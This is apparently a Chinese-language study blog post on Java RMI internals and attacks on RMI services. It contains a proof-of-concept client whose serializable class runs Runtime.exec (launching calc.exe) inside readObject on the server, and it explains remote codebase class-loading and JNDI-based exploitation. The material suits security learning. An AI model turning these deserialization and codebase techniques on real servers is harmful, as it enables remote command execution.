RMI定义

  • Java远程调用,实现远程调用的应用程序编程接口
  • RMI对象是通过序列化方式进行编码传输的。
  • Java程序远程调用另一台服务器的java对象。
  • RMI依赖的通信协议 JRMP。

RMI实现流程

img

1.创建接口

在创建对象类之前,我们首先需要创建一个空接口,接口需要继承java.rmi.Remote

1
2
3
4
5
import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}

2.实现接口

接着我们实现这个接口,创建服务端对象类,实现的类必须继承UnicastRmeoteObject。

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class ServicesImpl extends UnicastRemoteObject implements Services {
public ServicesImpl() throws RemoteException {
}

@Override
public Object sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}

3.创建服务端&&注册中心

创建一个RMI服务端,服务端和客户端需要有共同的接口。然后创建注册中心,启动 RMI 的注册服务。server端将实例化的服务端远程对象绑定到registry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
Registry registry = null;
try {
// 创建Registry
registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
registry = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
registry.bind("Services", obj);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}

注意:低版本的JDK中,server服务端和register注册中心可以不在一台服务器上,高版本则只能在一台服务器上。

4.创建客户端

客户端与server和registry交互。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package me.mole.javarmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
VulObject malicious = new VulObject();
malicious.setParam("calc.exe");
malicious.setMessage("hacked by m01e");

// 使用远程对象的引用调用对应的方法
System.out.println(services.sendMessage(malicious));
}
}

我们在客户端这里创建一个恶意的命令执行的类VulObject。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class VulObject extends Message implements Serializable {
private static final long serialVersionUID = 7398165783113471324L;
private String param;

public void setParam(String param) {
this.param = param;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.param);
}
}

本地获取注册中心(反序列化点)

获取注册中心的两种方式。

  • 创建时获取:LocateRegistry#createRegistry
  • 远程获取:LocateRegistry#getRegistry

无论是客户端还是服务端,最终其调用注册中心的方法都是通过对创建的RegistryImpl对象进行调用。

我们这里分析下调用 LocateRegistry 类的 getRegistry 方法。

调用通过getRegistry 方法得到的RegistryImpl_Stubbind 方法。

这里首先通过newCall方法调用 TCPChannel 类的 createConnection 方法创建 socket 连接和注册服务通信。

然后通过writeObject方法先后写入bind方法序列化的参数值。

然后通过调用serviceCall 方法,获取到dispatcher,最后调用registry.RegistryImpl_Skel类的dispatch方法。

var3是传递过来的int类型的参数,在这里有如下关系的对应:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

​ 根据参数来决定服务端与客户端调用的方法。这个过程中基于序列化和反序列化来进行通讯的。那么我们就可以寻找反序列化的点来进行攻击。

调用rmi执行反序列化攻击

首先启动注册服务,然后执行服务端,最后执行客户端。可以发现客户端能够成功调用服务端上的方法,实现远程方法调用。

总结流程

  • 服务端Clockmpl()继承Clock()创建对象。
  • 服务端CLock()注册远程对象
  • 客户端访问服务器b并查找相应远程对象。
  • 服务端将stub(存根返回)客户端
  • 客户端调用stub(存根)的方法
  • stub(存根)作为代理与服务端骨架通信//骨架作为服务端代理。
  • 骨架代理调用Clockmpl相应方法。
  • 骨架将结果返回给客户端的存根
  • 存根返回给客户端。
P牛对注册中心的解释

​ RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name 到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调用。

插一张先知的流程图

img

RMI攻击手法

先知社区上的一些总结,上图:

img

大致可以分为以下四类:

  • 探测利用开放的RMI服务。
  • 基于RMI服务反序列化过程的攻击。
  • 利用RMI的动态加载特性的攻击利用。
  • 结合JNDI注入。

我们主要学习RMI结合反序列化攻击的相关内容。

基于RMI服务反序列化过程的攻击

RMI反序列化漏洞的存在必须包含两个条件:

  1. 能够进行RMI通信
  2. 目标服务器引用了第三方存在反序列化漏洞的jar包

注:复现的时候需要JDK8 121以下版本,121及以后加了白名单限制。

利用RMI的动态加载特性的攻击利用

codebase
1
2
<applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
</applet>

​ codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类;CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。所以动态加载的class文件可以保存在web服务器、ftp中。

​ 如果我们指定 codebase=http://example.com/ ,动态加载 org.vulhub.example.Example 类,
则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class,并作为 Example类的字节码。

​ 在RMI中,我们可以通过codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去 CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。

但是相对而言这种限制条件很严:

  • 安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false

这里使用这位师傅打包好的代码学习:https://github.com/fa1c0n1/rmi-attack-demo

客户端动态加载
  • 创建HTTP服务器,作为动态加载代码的远程仓库。
1
python -m http.server 8000
  • 服务端创建远程对象,RMI Registry启动并完成名称绑定,并设置java.rmi.server.codebase

  • 客户端对RMI Registry发起请求,根据提供的Name得到Stub,并根据服务器返回的java.rmi.server.codebase远程加载动态所需的类。

服务端动态加载

恶意的客户端代码:

受害服务端代码:

结合JNDI注入

放到后面再细说。。(学晕了)

参考文章

https://payloads.info/2020/06/21/Java%E5%AE%89%E5%85%A8-RMI-%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/#%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90

https://xz.aliyun.com/t/8644

https://xz.aliyun.com/t/8706

https://paper.seebug.org/1091/

https://www.bookstack.cn/read/anbai-inc-javaweb-sec/javase-RMI-README.md#6mltu7